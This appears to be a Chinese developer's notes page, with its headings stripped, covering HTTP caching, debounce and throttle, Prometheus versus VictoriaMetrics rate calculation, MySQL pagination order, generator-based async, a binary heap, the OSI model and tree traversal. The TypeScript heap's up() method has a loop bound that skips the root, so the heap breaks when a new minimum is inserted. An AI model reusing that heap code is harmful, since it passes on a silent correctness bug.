对于频繁变动的资源,使用 Cache-Control: no-cache
,这样,浏览器每次请求此类资源都会发起请求,配合 ETag 或 Last-Modified 来验证缓存资源是否有效。
此做法不能节省请求,但可以减少响应数据的大小。
对于这类资源通常使用 Cache-Control: max-age=31536000
,配置一个较大的 max-age ,这样浏览器会使用强缓存,而不会发起请求。
如果遇到文件更新,则通过改变文件名的方式更新,旧的资源则因 URL 不同,不会再被请求而弃用。
这个场景在平时用得比较多,例如线上引用的 JS、CSS 等资源,在文件名后面都会加上一个 hash 值。
Cache-Control: no-cache
这部分与浏览器或许不是很相关
衡量缓存是否有效的重要指标
命中率=返回正确结果数/请求缓存次数
能存放缓存的最大个数,超过这个数量,则会触发清空策略
合理设置最大元素值可提高缓存的命中率
一些简单的策略:
当调用一个函数时,先等待一段时间再调用,如果在等待期间又调用了这个函数,则重置等待的时间,以控制函数调用频率。
例如输入框搜索建议。当用户输入内容的时候,触发函数去请求后台给用户提供建议,如果用户一个单词都没输入完,每个字母都去发起请求,就很没必要。这时可加入防抖,例如防抖 300ms ,用户输入内容时,如果 300ms 内没有再输入,则发起一次请求。
function debounce (f, wait) {
let timer = null
return function (...args) {
clearTimeout(timer)
timer = setTimeout(() => {
f.call(this, ...args)
}, wait)
}
}
对于一个函数的频繁调用,在一定时间内只调用一次。
例如监听 scroll 事件实现懒加载,如果用户疯狂拖动滚动条却不拖到底下,绑定的处理函数就会疯狂被调用,这时候我们可以降低函数被调用的频率,不管用户怎么拖动,在一定时间(例如 300ms)内,都只会调用一次处理函数。
function throttle (f, wait) {
let last = 0
return function (...args) {
const now = Date.now()
if (now - last > wait) {
f.call(this, ...args)
last = now
}
}
}
使用 setTimeout
function throttle (f, wait) {
let timer = null
return function (...args) {
if (timer === null) {
timer = setTimeout(() => {
f.call(this, ...args)
timer = null
}, wait)
}
}
}
上述两种写法不同的是,setTimeout
是在 wait
时间的末尾才执行的第一次调用,且参数是第一次调用的参数;而第一种写法一开始就会调用一次。
如果 setTimeout
写法要执行最新一次的调用,即参数是最新的而不是第一次的,那需要在每次调用的时候更新 args
,否则 f.call(this, ...args)
中的 args
一直不会被更新:
function throttle (f, wait) {
let timer = null
let latestArgs = []
return function (...args) {
latestArgs = args
if (timer === null) {
timer = setTimeout(() => {
f.call(this, ...latestArgs)
timer = null
}, wait)
}
}
}
以上写法已经达到了限制函数调用频率的目的,如果需要跟 lodash 这类库函数一样完善,还需要加上几个配置来决定是要在 wait
的开头还是末尾调用,同时提供清除等待等方法,这边就不再赘述,可自行去查阅源码。
本地搭的一套 Prometheus ,scrape_interval
设置为 15s
查询以下语句时,发现查不出数据
sum by (url) (rate(http_requests_total_c{url="/"}[15s]))
但是在另一套 Grafana 上查询时,使用 15s 是可以查到数据的
本以为是 Grafana 的问题,于是本地也搭了一套 Grafana ,但是查询的结果是一样的
后来想到另一套系统使用的是 VictoriaMetrics
在 Grafana 社区中也查到了十分清楚的解释,感谢这位老哥
以上社区问答中,指明了在 Prometheus 中, rate
range 至少需要是 scrape_interval
的两倍
而在另一篇文章中,说明通常 range 会是 scrape_interval
的四倍,以应对无数据、数据缺失等情况
在以往的印象中, rate
就是取 range 区间内的前后两个数据点相减,再除以 range ,然而实际上不是这样的(一直没仔细看文档导致的错误印象)。
PromQL 计算 rate
确实会取头尾两个点,不过并不是直接取数据点,而是会先进行一个 推断(extrapolation) 的过程,例如:
我们要计算 00:05 这个时间点, range 为 5m 的数据,而实际的头尾数据点,并不一定准确落在 00:00 和 00:05 两个时间点上,假设头尾数据点是落在 00:01 和 00:04 两个时间点,这时候, PromQL 会把这两个点连线,得到一个二元一次方程,从而推断出 00:00 与 00:05 时间点的数据。注意,推断出的数据并不是真实的。
如这篇文章中的图片所展示:
这个逻辑会有以下两个问题:
rate
,因为 PromQL 只取 range 范围内的数据点。这就是我遇到的 range 调为 15s 无数据的原因,也是网上建议 range 至少是 2倍 ,最好 4倍 scrape_interval
的原因。increase
与 rate
一样有推断的逻辑,所以 increase
的结果可能会有小数,即使我们一般是对 Counter
类型(一般单调递增,数据点是整数)应用 increase
函数。那么 VictoriaMetrics 使用的 MetricsQL 是如何解决上述两个问题的?
rate
和 increase
抛弃了推断逻辑,解决 increase
处理 Counter
出现的小数问题。VictoriaMetrics 保留前一个 range 的数据点:
本地 Docker 启动 Prometheus 与 VictoriaMetrics ,配置 Prometheus remote_write
写到 VictoriaMetrics 中,配合 Grafana 对比二者折线图差异
scrape_interval
为 15s
语句为
sum by (url) (rate(http_requests_total_c{url="/"}[$range]))
分页查询某个表,发现有某些数据在不同的分页中都有出现,对应地,导致有些数据在哪一页都查不到。
在 MySQL 官方文档 中有说明原因:
If multiple rows have identical values in the ORDER BY columns, the server is free to return those rows in any order, and may do so differently depending on the overall execution plan. In other words, the sort order of those rows is nondeterministic with respect to the nonordered columns.
One factor that affects the execution plan is LIMIT, so an ORDER BY query with and without LIMIT may return rows in different orders.
大意是 Order By 的列中,如果有相同值的行,这些行返回的顺序是随机的,不确定的。
影响执行计划的其中一个因素就是 Limit ,在分页的场景中。
在我遇到的问题里,接口是按照更新时间排序的,而那张表之前被刷写过,导致出现了大量相同更新时间,因此本来较小概率的事情就很容易出现了。
If it is important to ensure the same row order with and without LIMIT, include additional columns in the ORDER BY clause to make the order deterministic.
如果要保证返回的顺序,可以多加一个排序的列,最好是数据不重复的列,保证所有排序的列组合起来类似一个唯一键,这样无论是否有 Limit ,都不会影响返回顺序了。
ES2017 引入的 async
, await
实际上是 Generator 函数的语法糖,使异步操作的写法更加方便。
(既然是语法糖,那我们就可以尝试用 Generator 自己去手写一个 async, await 了 😆 )
跟 Generator 函数比较,可以发现,语法上,就是把 *
号换成 async
, yield
关键字换成 await
而已。但是,肯定不只是替换关键字这么简单,不然为何不用 Generator 。
next
假设有以下代码:
function getAsyncValue () {
return new Promise((resolve, reject) => {
setTimeout(resolve, 10, 123)
})
}
async function asyncFunction (p) {
console.log('param: ', p)
const value = await getAsyncValue()
return value
}
asyncFunction(666).then((result) => {
console.log(result)
})
// param: 666
// 123
如果只依赖 Generator
与 yield
语法,不使用 async
, await
,但要实现同样效果的话,首先把 await
替换成 yield
,然后实现 async
包装:
const _async = (generator) => {
return function (...args) {
// async 函数返回一个 Promise
return new Promise((resolve, reject) => {
// Promise 内部会自动将 Generator 函数返回的迭代器执行到最后
const it = generator(...args)
const step = (nextFunction) => {
let next
try {
next = nextFunction()
} catch (e) {
reject(e)
}
if (next.done) {
return resolve(next.value)
}
// 其中, next 的执行时机就是 yield 后面的 Promise 状态改变的时候
// next 的参数就是上一个 yield 的值
Promise.resolve(next.value).then((value) => {
return step(() => it.next(value))
}, (reason) => {
return step(() => it.throw(reason))
})
}
step(() => it.next())
})
}
}
最后就可以改写成非语法糖的 Generator
语法形式:
function getAsyncValue () {
return new Promise((resolve, reject) => {
setTimeout(resolve, 10, 123)
})
}
const asyncFunction = _async(function* (p) {
console.log('param: ', p)
const value = yield getAsyncValue()
return value
})
asyncFunction(666).then((result) => {
console.log(result)
})
// param: 666
// 123
本质上是完全二叉树
分为两种类型
堆内部能实现自我调整,对于二叉堆有以下操作:
当插入一个节点到二叉堆中,首先将节点插入到二叉堆的末尾,然后进行“上浮”操作
从末尾节点开始,与其父节点进行比较,以最小堆为例,如果插入的节点小于父节点,则与父节点的位置进行交换,重复该步骤,直到节点到达合适的位置,即大于或等于其父节点
当要从二叉堆中删除节点,将堆顶(即二叉树根节点)元素删除,然后将末尾的元素移动到堆顶
这时堆顶元素的位置不一定是正确的,需要做一个“下沉”操作
从堆顶元素开始,与其左右子节点进行比较,如果当前节点比左右子节点大,则与最小的子节点进行交换,直到节点到达合适的位置,即节点小于或等于其左右子节点
初始化二叉堆,可以看成是把一个无序的二叉堆调整为有序的二叉堆的过程,只需要对于所有非子节点进行“下沉”操作,即可生成一个有序的二叉堆
二叉堆的存储结构不用链表,而是可以直接用一个数组来存储。
其中,第一个元素即为堆顶
对于节点 n 来说,
其左子节点的索引为 2 * n + 1
右子节点索引为 2 * n + 2
父节点索引为 Math.floor((n - 1) / 2)
二叉堆的最后一个非叶子节点的索引为 Math.floor((length - 2) / 2)
/** 最小堆 */
class BinaryHeap {
private heap: number[] = []
constructor (elements: number[]) {
this.heap = elements
// 构建二叉堆,对每个非叶子节点进行“下沉”操作
for (let i = Math.floor((this.heap.length - 2) / 2); i >= 0; i--) {
this.down(i)
}
}
/** 插入 */
insert (value: number) {
this.heap.push(value)
this.up()
}
/** 删除 */
delete () {
this.heap.shift()
const last = this.heap.pop()
if (last != null) {
this.heap.unshift(last)
this.down()
}
}
/** 上浮 */
up () {
let n = this.heap.length - 1
if (n <= 0) return
const target = this.heap[n]
let parentIndex = Math.floor((n - 1) / 2)
// 如果父节点大于子节点,则将父节点复制到子节点的位置,当前父节点的位置可以复制为上浮节点的值,但是还需要继续往上寻找目标位置,所以可以先不用赋值,等循环结束后再在目标位置赋值为上浮的节点;然后继续往上寻找,直到不符合条件,即找到了上浮节点的目标位置
while (parentIndex > 0 && this.heap[parentIndex] > target) {
this.heap[n] = this.heap[parentIndex]
n = parentIndex
parentIndex = Math.floor((n - 1) / 2)
}
this.heap[n] = target
}
/** 下沉 */
down (n: number = 0) {
const target = this.heap[n]
let parentIndex = n
let leftChildIndex = 2 * n + 1
const length = this.heap.length
while (leftChildIndex < length) {
// 这里定义最小的子节点,可以直接用 leftChildIndex ,为了方便阅读,多定义一个变量
let minChildIndex = leftChildIndex
const rightChildIndex = leftChildIndex + 1
if (rightChildIndex < length && this.heap[rightChildIndex] < this.heap[leftChildIndex]) {
minChildIndex = rightChildIndex
}
// 如果最小的子节点都大于待下沉的节点,说明下沉节点已经到达目标位置
if (this.heap[minChildIndex] >= target) break
// 否则将最小子节点的值复制到它的父节点上,下沉节点的值最后循环退出后再复制到目标位置
this.heap[parentIndex] = this.heap[minChildIndex]
parentIndex = minChildIndex
leftChildIndex = 2 * parentIndex + 1
}
this.heap[parentIndex] = target
}
}
根据功能人为划分的模型
定义:定义物理设备的标准,例如光纤、网线的类型,各种介质的传输速率等参数。
作用:传输比特流,数模、模数转换
定义:从物理层传来的比特流可能有错,所以有数据链路层
作用:格式化数据、错误检测、纠错,保证数据可靠性;将比特流组合成字节,字节组合成帧;对帧解码,发送对应信息
定义:将数据链路层传来的数据发送到目的节点
作用:将网络地址翻译成物理地址,决定两节点间的最佳路径
定义:随着网络通信需求的扩大,为保证大量文件的准确性,需要对数据进行切分
作用:解决不同网络之间主机的数据传输与传输质量问题;对数据进行切割,保证数据到达接收方的传输层时能够按正确的数据重组
作用:负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接
作用:把数据转换为能与接收者的系统格式兼容并适合传输的格式
作用:规定发送方与接收方使用某种固定格式的消息头,包含数据长度等信息,以便接收方能解析
TCP:面向连接的,可靠传输
UDP:非连接的,不可靠传输
客户端:
服务端:
客户端:
服务端:
如标题
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var inorderTraversal = function(root) {
const result = []
const traverse = (node, list) => {
if (!node) return
if (node.left) traverse(node.left, list)
list.push(node.val)
if (node.right) traverse(node.right, list)
}
traverse(root, result)
return result
};
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var inorderTraversal = function(root) {
const result = []
if (!root) return result
const stack = []
// 先将左子节点都入栈
let node = root
while (node) {
stack.push(node)
node = node.left
}
while (stack.length) {
const node = stack.pop()
result.push(node.val)
// 针对每个出栈的节点,对其右子节点再执行一次左子节点入栈
if (node.right) {
let rightNode = node.right
while (rightNode) {
stack.push(rightNode)
rightNode = rightNode.left
}
}
}
return result
};
上述版本中执行了两个步骤:
从代码中可以看到,有两部分代码是类似的:
while (node) {
stack.push(node)
node = node.left
}
可以将相同的部分合并起来:
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var inorderTraversal = function(root) {
const result = []
if (!root) return result
const stack = []
let node = root
while (node || stack.length) {
while (node) {
stack.push(node)
node = node.left
}
const last = stack.pop()
result.push(last.val)
node = last.right
}
return result
};
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.